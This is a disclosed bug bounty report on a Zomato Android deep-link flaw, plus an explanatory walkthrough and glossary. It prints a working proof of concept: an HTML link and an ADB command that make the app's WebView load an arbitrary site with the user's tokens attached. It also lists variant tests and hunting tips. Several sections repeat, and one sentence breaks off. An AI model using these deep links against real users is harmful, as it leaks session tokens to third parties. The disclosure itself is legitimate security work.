[Zomato Android/iOS] Theft of user session
An exported deep-link activity accepted a URL parameter and loaded it inside the app's WebView, so a crafted link could open any site in the app's context. The reporter claims this leaks user session tokens to arbitrary sites and allows opening arbitrary pages in the internal WebView.
- Triaged in 7 hours
- Fixed in 3 months
- Paid in 2 months
- Disclosed after 3 months
Hi, I'd like to report a bug which allows to theft user data even without installing third-party apps.
Activity
<activity android:theme="@style/ZomatoTranslucentTheme" android:label="@string/app_name" android:name="com.application.zomato.activities.DeepLinkRouter" android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="zomato"/>
</intent-filter>
</activity>
is exported, and can be accessed by browser. When any WebView (in a client app, or a browser) meets a zomato://etc URL it will automatically launch Zomato app.
File com/application/zomato/activities/DeepLinkRouter.java
} else if (!(getIntent() == null || getIntent().getAction() == null || !"android.intent.action.VIEW".equals(getIntent().getAction()))) {
this.c = getIntent().getData().toString(); // getting zomato://etc URL
}
c(this.c);
private void c(java.lang.String str) {
boolean z = false;
boolean z2 = true;
try {
android.net.Uri parse = android.net.Uri.parse(str);
if ("zomato".equals(parse.getScheme()) || "zomatodelivery".equals(parse.getScheme())) {
java.util.List pathSegments;
java.lang.String host = parse.getHost();
} else if ("treatswebview".equals(host)) {
e(parse); // url should look like zomato://treatswebview?url=
}
private void e(android.net.Uri uri) {
android.support.v4.app.TaskStackBuilder v = v();
java.lang.String a = com.zomato.a.b.g.a(uri.getQueryParameter("url")); // decode of the query parameter
java.lang.String str = "";
if (uri.getQueryParameter("navigation_bar_title") != null) {
str = com.zomato.a.b.g.a(uri.getQueryParameter("navigation_bar_title")); // page title
}
android.content.Intent intent = new android.content.Intent(this, com.library.zomato.ordering.utils.ZUtil.getClassForWebViewNavigationType(uri));
intent.putExtra("url", a);
intent.putExtra("title", str);
// starting TreatsWebViewActionBarActivity
File com/library/zomato/ordering/webview/TreatsWebViewActionBarActivity.java
android.os.Bundle extras = getIntent().getExtras();
if (extras != null) {
if (extras.containsKey("url")) {
this.mUrl = extras.getString("url"); //
}
public void loadWebView() {
if (!this.hasLoadedBefore && !com.zomato.a.b.g.a(this.mWebViewURL)) {
this.zomatoWebView.loadUrl(this.mWebViewURL, this.httpHeaders); // mWebViewURL == mUrl
this.hasLoadedBefore = true;
}
}
PoC video is very simple:
Code on local server:
<!DOCTYPE html>
<html>
<head><title>Zaheck page</title></head>
<body style="text-align: center;">
<h1><a href="zomato://treatswebview/?url=http://google.com&navigation_bar_title=wow">Begin zaheck!</a></h1>
</body>
</html>
All tokens were sent to Google page:
Third-party apps can also attack your app, PoC from ADB:
adb shell am start -n com.application.zomato/.activities.DeepLinkRouter -a android.intent.action.VIEW -d "zomato://treatswebview/?url=http://google.com&navigation_bar_title=wow"
Hopefully in this case the latest app, but not 2 year old build :)
Impact
- Leakage of user tokens to arbitrary sites
- XSS/Ability of open arbitrary sites in your internal WebView
Context
The target is the Zomato Android app, package com.application.zomato. Zomato is a restaurant discovery and food ordering product, and the app ships a deep link scheme, zomato, that lets other apps and browsers open specific screens inside it. One of those screens is a WebView container called TreatsWebViewActionBarActivity, reached through the treatswebview host of the deep link. The deep link handler is com.application.zomato.activities.DeepLinkRouter.
The report describes a way to make the app load an arbitrary URL in that internal WebView, and to have the user's tokens sent to that URL. The researcher frames it as theft of user data that works even without installing a third-party app, because a plain browser can trigger the deep link.
Setup
The researcher worked against the Zomato Android app and read its deep link routing and WebView activity code. The proof of concept uses two things: a small HTML page served from a local server, and an ADB command that simulates a third-party app sending the same intent. No accounts, roles or specific app version are given in the report.
Finding it
The starting point is the manifest entry for the deep link router. The activity is exported and has a browsable intent filter for the zomato scheme:
<activity android:theme="@style/ZomatoTranslucentTheme" android:label="@string/app_name" android:name="com.application.zomato.activities.DeepLinkRouter" android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="zomato"/>
</intent-filter>
</activity>
Because the activity is exported and the filter includes BROWSABLE, any WebView, whether inside a client app or a browser, that meets a zomato://etc URL will automatically launch the Zomato app. That is the delivery mechanism: the attacker does not need to install anything, only to get a link in front of the user.
The next question is what the router does with the URL it receives. In com/application/zomato/activities/DeepLinkRouter.java, the incoming intent data is read and passed to a routing method:
} else if (!(getIntent() == null || getIntent().getAction() == null || !"android.intent.action.VIEW".equals(getIntent().getAction()))) {
this.c = getIntent().getData().toString(); // getting zomato://etc URL
}
c(this.c);
The router parses the URI and dispatches on the scheme and host:
private void c(java.lang.String str) {
boolean z = false;
boolean z2 = true;
try {
android.net.Uri parse = android.net.Uri.parse(str);
if ("zomato".equals(parse.getScheme()) || "zomatodelivery".equals(parse.getScheme())) {
java.util.List pathSegments;
java.lang.String host = parse.getHost();
Among the hosts it handles is treatswebview, which forwards the URI to a method that builds a WebView intent:
} else if ("treatswebview".equals(host)) {
e(parse); // url should look like zomato://treatswebview?url=
}
That method takes the url query parameter, decodes it, optionally takes a navigation_bar_title parameter for the page title, and starts the WebView activity with both values as intent extras:
private void e(android.net.Uri uri) {
android.support.v4.app.TaskStackBuilder v = v();
java.lang.String a = com.zomato.a.b.g.a(uri.getQueryParameter("url")); // decode of the query parameter
java.lang.String str = "";
if (uri.getQueryParameter("navigation_bar_title") != null) {
str = com.zomato.a.b.g.a(uri.getQueryParameter("navigation_bar_title")); // page title
}
android.content.Intent intent = new android.content.Intent(this, com.library.zomato.ordering.utils.ZUtil.getClassForWebViewNavigationType(uri));
intent.putExtra("url", a);
intent.putExtra("title", str);
// starting TreatsWebViewActionBarActivity
The receiving activity, com/library/zomato/ordering/webview/TreatsWebViewActionBarActivity.java, reads the url extra and stores it:
android.os.Bundle extras = getIntent().getExtras();
if (extras != null) {
if (extras.containsKey("url")) {
this.mUrl = extras.getString("url"); //
}
and later loads it into the WebView:
public void loadWebView() {
if (!this.hasLoadedBefore && !com.zomato.a.b.g.a(this.mWebViewURL)) {
this.zomatoWebView.loadUrl(this.mWebViewURL, this.httpHeaders); // mWebViewURL == mUrl
this.hasLoadedBefore = true;
}
}
The important detail is the second argument to loadUrl: this.httpHeaders. The WebView is not loading the URL bare, it is loading it with the app's HTTP headers attached. The WebView loads the URL with the app's HTTP headers attached. Nothing in the chain from the deep link to loadUrl restricts the URL to Zomato's own domains, so whatever host the attacker puts in the url parameter receives the same headers.
Exploitation
Step 1: serve a page that triggers the deep link
The researcher hosts a page on a local server. The page contains a single link to a zomato:// URL:
<!DOCTYPE html>
<html>
<head><title>Zaheck page</title></head>
<body style="text-align: center;">
<h1><a href="zomato://treatswebview/?url=http://google.com&navigation_bar_title=wow">Begin zaheck!</a></h1>
</body>
</html>
The link uses the treatswebview host, sets url to http://google.com and sets navigation_bar_title to wow. When the user taps it, the browser hands the URL to the Zomato app through the browsable intent filter. The router decodes the url parameter, builds the intent for the WebView activity, and the activity loads http://google.com with the app's headers attached.
Step 2: observe the tokens leaving the app
The report states that all tokens were sent to the Google page. In other words, the arbitrary site named in the url parameter receives the headers the app normally sends to its own backend. The report does not list the individual header names or token values.
Step 3: the same attack from a third-party app
The researcher also shows that an installed app can send the identical intent directly, without a browser in between, using ADB to simulate it:
adb shell am start -n com.application.zomato/.activities.DeepLinkRouter -a android.intent.action.VIEW -d "zomato://treatswebview/?url=http://google.com&navigation_bar_title=wow"
This starts the exported DeepLinkRouter activity explicitly with a VIEW action and the same deep link as data. The result is the same WebView load of the attacker-chosen URL with the app's headers.
Root cause
The deep link router accepts a url query parameter from an exported, browsable activity and passes it, decoded, straight into a WebView intent extra. The WebView activity then calls loadUrl on that value together with the app's httpHeaders. There is no allowlist check tying the URL to Zomato's own hosts before the headers are attached, so the trust that belongs to the app's own WebView is extended to any origin the caller names.
The existing defences did not stop it. The activity is deliberately exported and browsable, which is required for deep links to work from browsers, so the entry point is by design. The only check visible in the code before loadUrl is a condition on hasLoadedBefore and a call into com.zomato.a.b.g.a, whose purpose the report does not explain. The report hopes the behaviour affects the latest app build rather than an old one.
Impact
The researcher lists two consequences:
- Leakage of user tokens to arbitrary sites.
- XSS, or the ability to open arbitrary sites in the app's internal WebView.
The attack requires the user to open a crafted zomato:// link, either by tapping it in a browser or through an installed app that sends the intent. The report does not state which tokens are exposed, how long they remain valid, or what an attacker could do with them beyond receiving them.
Fix
The change the code calls for is to validate the url parameter against an allowlist of trusted hosts before it reaches loadUrl, and to avoid attaching authentication headers when the target is outside that allowlist.
Variants to test
- Other deep link hosts in the same router: try each host that ends in a WebView or external navigation and see whether it accepts a URL parameter. A positive result is an arbitrary host loading with the app's headers.
- The
zomatodeliveryscheme: the router accepts it alongsidezomato, so the sametreatswebviewstyle payload may work through it. - The
navigation_bar_titleparameter: it is also decoded and passed as an extra. A positive result would be reflected content in the WebView's title bar. - Explicit intents to other exported activities: the ADB command shows
DeepLinkRoutercan be started directly. Try other exported activities that take a URL extra and load it in a WebView.
Hunting notes
This kind of bug hides in deep link routers and WebView wrapper activities. During recon, look for exported activities with BROWSABLE intent filters, then follow the data from getIntent().getData() into whatever loads a WebView. The signal is a loadUrl call whose URL comes from intent data while a second argument carries headers or cookies. On the testing side, a browser link and an ADB am start command are enough to demonstrate both delivery paths, and .
What happened, in plain words
Zomato is a restaurant discovery and food ordering app. Like many mobile apps, the Zomato Android app can be opened from outside itself: if you tap a special kind of link, the phone knows to hand that link to Zomato instead of to a web browser. These special links are called deep links, and the Zomato app listens for links that start with zomato://.
One of the screens the app can open this way is a built-in mini browser, a WebView. A WebView is a small web browser embedded inside an app, so the app can show web pages without sending you out to Chrome or Safari. The Zomato app uses one of these to show pages, and it reaches it through a deep link address that contains the word treatswebview.
The problem the researcher found is that this deep link lets whoever writes the link choose which web address the mini browser loads. The app does not check that the address belongs to Zomato. Worse, when the app loads that page, it attaches the user's login tokens to the request. A token is a short piece of text that proves who you are, a bit like a wristband at a festival: show it and you are let in without showing your ticket again. If the page belongs to an attacker, the attacker receives the wristband.
The researcher showed two ways to trigger this. The first is a plain web page with a link on it: the victim taps the link in their browser and the Zomato app opens the attacker's chosen page with the tokens attached. The second is an installed app sending the same instruction directly, which the researcher simulated with a developer tool called ADB. No special app is needed for the first path, which is why the researcher describes it as theft of user data even without installing third-party apps.
Context
The target is the Zomato Android app, package com.application.zomato. A package name is the app's unique identifier on the phone, the way a domain name is unique on the web. Zomato is a restaurant discovery and food ordering product, and the app ships a deep link scheme, zomato, that lets other apps and browsers open specific screens inside it. A scheme is the part before :// in a link, like https in a normal web address; here the app has registered its own, zomato.
One of those screens is a WebView container called TreatsWebViewActionBarActivity, reached through the treatswebview host of the deep link. The host is the part of a link right after ://, like www.example.com in a web address. The deep link handler is com.application.zomato.activities.DeepLinkRouter: the piece of code that receives a zomato:// link and decides which screen to open.
The report describes a way to make the app load an arbitrary URL in that internal WebView, and to have the user's tokens sent to that URL. The researcher frames it as theft of user data that works even without installing a third-party app, because a plain browser can trigger the deep link.
Setup
The researcher worked against the Zomato Android app and read its deep link routing and WebView activity code. Decompiling means turning the finished app back into readable source code, roughly like taking apart a machine to see how its gears fit. The proof of concept uses two things: a small HTML page served from a local server, and an ADB command that simulates a third-party app sending the same intent. ADB, the Android Debug Bridge, is a developer tool that lets a computer talk to an Android phone and give it instructions. An intent is Android's word for a message asking a specific app to do something, such as open a screen. No accounts, roles or specific app version are given in the report.
Finding it
The starting point is the manifest entry for the deep link router. The manifest is a file inside every Android app that lists what the app can do and which outside requests it accepts. The activity is exported and has a browsable intent filter for the zomato scheme:
<activity android:theme="@style/ZomatoTranslucentTheme" android:label="@string/app_name" android:name="com.application.zomato.activities.DeepLinkRouter" android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="zomato"/>
</intent-filter>
</activity>
Line by line:
<activity ... android:name="com.application.zomato.activities.DeepLinkRouter" ...>declares one screen of the app, the deep link router, and gives it a theme, a label and a fixed portrait orientation.<intent-filter>starts the list of requests this screen is willing to receive.<action android:name="android.intent.action.VIEW"/>says the screen responds to a request to view something.<category android:name="android.intent.category.DEFAULT"/>is the standard category that lets the screen be opened by a normal request.<category android:name="android.intent.category.BROWSABLE"/>is the key line: it allows the screen to be opened from a browser.<data android:scheme="zomato"/>says the request must use thezomatoscheme.
Because the activity is exported and the filter includes BROWSABLE, any WebView, whether inside a client app or a browser, that meets a zomato://etc URL will automatically launch the Zomato app. Exported means other apps on the phone are allowed to start this screen. That is the delivery mechanism: the attacker does not need to install anything, only to get a link in front of the user.
The next question is what the router does with the URL it receives. In com/application/zomato/activities/DeepLinkRouter.java, the incoming intent data is read and passed to a routing method:
} else if (!(getIntent() == null || getIntent().getAction() == null || !"android.intent.action.VIEW".equals(getIntent().getAction()))) {
this.c = getIntent().getData().toString(); // getting zomato://etc URL
}
c(this.c);
Line by line:
- The
else ifchecks that the incoming request exists, that it has an action, and that the action isVIEW. In plain terms: is this a request to view something? this.c = getIntent().getData().toString();takes the link that came with the request, turns it into text, and stores it. The comment notes it is thezomato://etcURL.c(this.c);passes that stored link to a method namedc, which does the routing.
The router parses the URI and dispatches on the scheme and host:
private void c(java.lang.String str) {
boolean z = false;
boolean z2 = true;
try {
android.net.Uri parse = android.net.Uri.parse(str);
if ("zomato".equals(parse.getScheme()) || "zomatodelivery".equals(parse.getScheme())) {
java.util.List pathSegments;
java.lang.String host = parse.getHost();
Line by line:
private void c(java.lang.String str)defines the routing method, which takes the link as text.- The two
booleanlines set up two true/false flags used later in the method. android.net.Uri.parse(str)breaks the link into its parts, the way you would split a postal address into street, city and postcode.- The
ifchecks whether the scheme iszomatoorzomatodelivery. Both are accepted. java.lang.String host = parse.getHost();pulls out the host, the part that decides which screen opens.
Among the hosts it handles is treatswebview, which forwards the URI to a method that builds a WebView intent:
} else if ("treatswebview".equals(host)) {
e(parse); // url should look like zomato://treatswebview?url=
}
Line by line:
- The
else ifchecks whether the host istreatswebview. - If so, it calls method
ewith the parsed link. The comment shows the expected shape:zomato://treatswebview?url=, meaning the link carries aurlparameter.
That method takes the url query parameter, decodes it, optionally takes a navigation_bar_title parameter for the page title, and starts the WebView activity with both values as intent extras:
private void e(android.net.Uri uri) {
android.support.v4.app.TaskStackBuilder v = v();
java.lang.String a = com.zomato.a.b.g.a(uri.getQueryParameter("url")); // decode of the query parameter
java.lang.String str = "";
if (uri.getQueryParameter("navigation_bar_title") != null) {
str = com.zomato.a.b.g.a(uri.getQueryParameter("navigation_bar_title")); // page title
}
android.content.Intent intent = new android.content.Intent(this, com.library.zomato.ordering.utils.ZUtil.getClassForWebViewNavigationType(uri));
intent.putExtra("url", a);
intent.putExtra("title", str);
// starting TreatsWebViewActionBarActivity
Line by line:
- The method receives the parsed link.
TaskStackBuilder v = v();prepares a helper that keeps track of which screens the user came through, so the back button behaves sensibly.uri.getQueryParameter("url")reads the value of theurlparameter from the link, andcom.zomato.a.b.g.a(...)decodes it. Decoding turns an encoded web address back into its normal form, the way%20becomes a space.str = ""starts the page title as empty text.- The
ifchecks whether anavigation_bar_titleparameter was supplied; if so, it reads and decodes it intostr. new android.content.Intent(...)creates a new request aimed at the WebView screen.intent.putExtra("url", a);attaches the chosen web address to the request under the nameurl.intent.putExtra("title", str);attaches the title under the nametitle.- The comment notes the next step is starting
TreatsWebViewActionBarActivity.
The receiving activity, com/library/zomato/ordering/webview/TreatsWebViewActionBarActivity.java, reads the url extra and stores it:
android.os.Bundle extras = getIntent().getExtras();
if (extras != null) {
if (extras.containsKey("url")) {
this.mUrl = extras.getString("url"); //
}
Line by line:
getIntent().getExtras()collects the attached values from the incoming request into a bundle.- The first
ifchecks the bundle is not empty. - The second
ifchecks it contains a value namedurl. - If both hold,
this.mUrl = extras.getString("url");stores that value as the address to load.
and later loads it into the WebView:
public void loadWebView() {
if (!this.hasLoadedBefore && !com.zomato.a.b.g.a(this.mWebViewURL)) {
this.zomatoWebView.loadUrl(this.mWebViewURL, this.httpHeaders); // mWebViewURL == mUrl
this.hasLoadedBefore = true;
}
}
Line by line:
- The method
loadWebViewis responsible for actually showing the page. - The
ifchecks two things: that the page has not already been loaded, and that a call tocom.zomato.a.b.g.a(...)on the address returns false. The report does not explain what that call checks. this.zomatoWebView.loadUrl(this.mWebViewURL, this.httpHeaders);tells the mini browser to load the stored address, and passes a second argument,this.httpHeaders. The comment confirms the stored address is the one from the link.this.hasLoadedBefore = true;records that the load has happened, so it is not repeated.
The important detail is the second argument to loadUrl: this.httpHeaders. The WebView is not loading the URL bare, it is loading it with the app's HTTP headers attached. HTTP headers are small pieces of information sent alongside every web request, like the return address and handling notes on an envelope. The WebView loads the URL with the app's HTTP headers attached. Nothing in the chain from the deep link to loadUrl restricts the URL to Zomato's own domains, so whatever host the attacker puts in the url parameter receives the same headers.
Exploitation
Step 1: serve a page that triggers the deep link
The researcher hosts a page on a local server. The page contains a single link to a zomato:// URL:
<!DOCTYPE html>
<html>
<head><title>Zaheck page</title></head>
<body style="text-align: center;">
<h1><a href="zomato://treatswebview/?url=http://google.com&navigation_bar_title=wow">Begin zaheck!</a></h1>
</body>
</html>
Line by line:
<!DOCTYPE html>tells the browser this is a modern HTML page.<html>opens the page,<head>holds information about it, and<title>Zaheck page</title>sets the text shown in the browser tab.<body style="text-align: center;">starts the visible content and centres it on the screen.- The
<h1>line is a large heading containing a link. The<a href="...">part is the link, andBegin zaheck!is the text the user taps. - The link target is
zomato://treatswebview/?url=http://google.com&navigation_bar_title=wow. It uses thetreatswebviewhost, setsurltohttp://google.comand setsnavigation_bar_titletowow. - The closing tags end the heading, body and page.
When the user taps it, the browser hands the URL to the Zomato app through the browsable intent filter. The router decodes the url parameter, builds the intent for the WebView activity, and the activity loads http://google.com with the app's headers attached.
Step 2: observe the tokens leaving the app
The report states that all tokens were sent to the Google page. In other words, the arbitrary site named in the url parameter receives the headers the app normally sends to its own backend. The report does not list the individual header names or token values.
Step 3: the same attack from a third-party app
The researcher also shows that an installed app can send the identical intent directly, without a browser in between, using ADB to simulate it:
adb shell am start -n com.application.zomato/.activities.DeepLinkRouter -a android.intent.action.VIEW -d "zomato://treatswebview/?url=http://google.com&navigation_bar_title=wow"
Line by line:
adb shellopens a command session on the connected phone.am startis the Android command that starts an activity.-n com.application.zomato/.activities.DeepLinkRouternames the exact screen to start: the deep link router inside the Zomato package.-a android.intent.action.VIEWsets the action to view.-d "zomato://treatswebview/?url=http://google.com&navigation_bar_title=wow"supplies the same deep link as the data.
This starts the exported DeepLinkRouter activity explicitly with a VIEW action and the same deep link as data. The result is the same WebView load of the attacker-chosen URL with the app's headers. This shows a third-party app on the phone could send the same instruction without any browser involved.
Root cause
The deep link router accepts a url query parameter from an exported, browsable activity and passes it, decoded, straight into a WebView intent extra. The WebView activity then calls loadUrl on that value together with the app's httpHeaders. There is no allowlist check tying the URL to Zomato's own hosts before the headers are attached, so the trust that belongs to the app's own WebView is extended to any origin the caller names. An allowlist is a list of things that are explicitly permitted; without one, everything is permitted.
The existing defences did not stop it. The activity is deliberately exported and browsable, which is required for deep links to work from browsers, so the entry point is by design. The only check visible in the code before loadUrl is a condition on hasLoadedBefore and a call into com.zomato.a.b.g.a, whose purpose the report does not explain. The report hopes the behaviour affects the latest app build rather than an old one.
Impact
The researcher lists two consequences:
- Leakage of user tokens to arbitrary sites.
- XSS, or the ability to open arbitrary sites in the app's internal WebView.
XSS, cross-site scripting, means getting content the attacker controls to run inside a page or view that the user trusts. Here the app's own mini browser becomes a place where an attacker can show any page, under the app's name.
The attack requires the user to open a crafted zomato:// link, either by tapping it in a browser or through an installed app that sends the intent.
Fix
The change the code calls for is to validate the url parameter against an allowlist of trusted hosts before it reaches loadUrl, and to avoid attaching authentication headers when the target is outside that allowlist.
Variants to test
- Other deep link hosts in the same router: try each host that ends in a WebView or external navigation and see whether it accepts a URL parameter. A positive result is an arbitrary host loading with the app's headers.
- The
zomatodeliveryscheme: the router accepts it alongsidezomato, so the sametreatswebviewstyle payload may work through it. - The
navigation_bar_titleparameter: it is also decoded and passed as an extra. A positive result would be reflected content in the WebView's title bar. - Explicit intents to other exported activities: the ADB command shows
DeepLinkRoutercan be started directly. Try other exported activities that take a URL extra and load it in a WebView.
Hunting notes
This kind of bug hides in deep link routers and WebView wrapper activities. During recon, look for exported activities with BROWSABLE intent filters, then follow the data from getIntent().getData() into whatever loads a WebView. The signal is a loadUrl call whose URL comes from intent data while a second argument carries headers or cookies. On the testing side, a browser link and an ADB am start command are enough to demonstrate both delivery paths, and .
Glossary
- Activity: a single screen in an Android app, such as a page or a dialog.
- ADB (Android Debug Bridge): a developer tool that lets a computer send commands to an Android phone.
- Allowlist: a list of things that are explicitly permitted; anything not on the list is refused.
- BROWSABLE: an Android category that allows a screen to be opened from a browser link.
- Cookie: a small piece of data a website stores in your browser to remember who you are between visits.
- Deep link: a link that opens a specific screen inside an app rather than a web page.
- Decompile: to turn a finished app back into readable source code.
- Exported (activity): an Android setting that lets other apps start that screen.
- Header (HTTP header): a small piece of information sent alongside a web request, such as the return address on an envelope.
- Host: the part of a link right after
://, such aswww.example.com. - Intent: Android's message asking an app to do something, such as open a screen.
- Intent filter: the list in an app's manifest of requests it is willing to receive.
- Manifest: the file inside an Android app that lists what the app can do and which outside requests it accepts.
- Package name: the unique identifier of an app on a phone, like a domain name on the web.
- Query parameter: a named value in a link after a
?, such asurl=.... - Scheme: the part of a link before
://, such ashttpsorzomato. - Token: a short piece of text that proves who you are, like a wristband that gets you in without showing your ticket again.
- URI / URL: a web address; URI is the more general term for an address of any kind.
- WebView: a small web browser embedded inside an app.
- XSS (cross-site scripting): getting content the attacker controls to run inside a page or view the user trusts.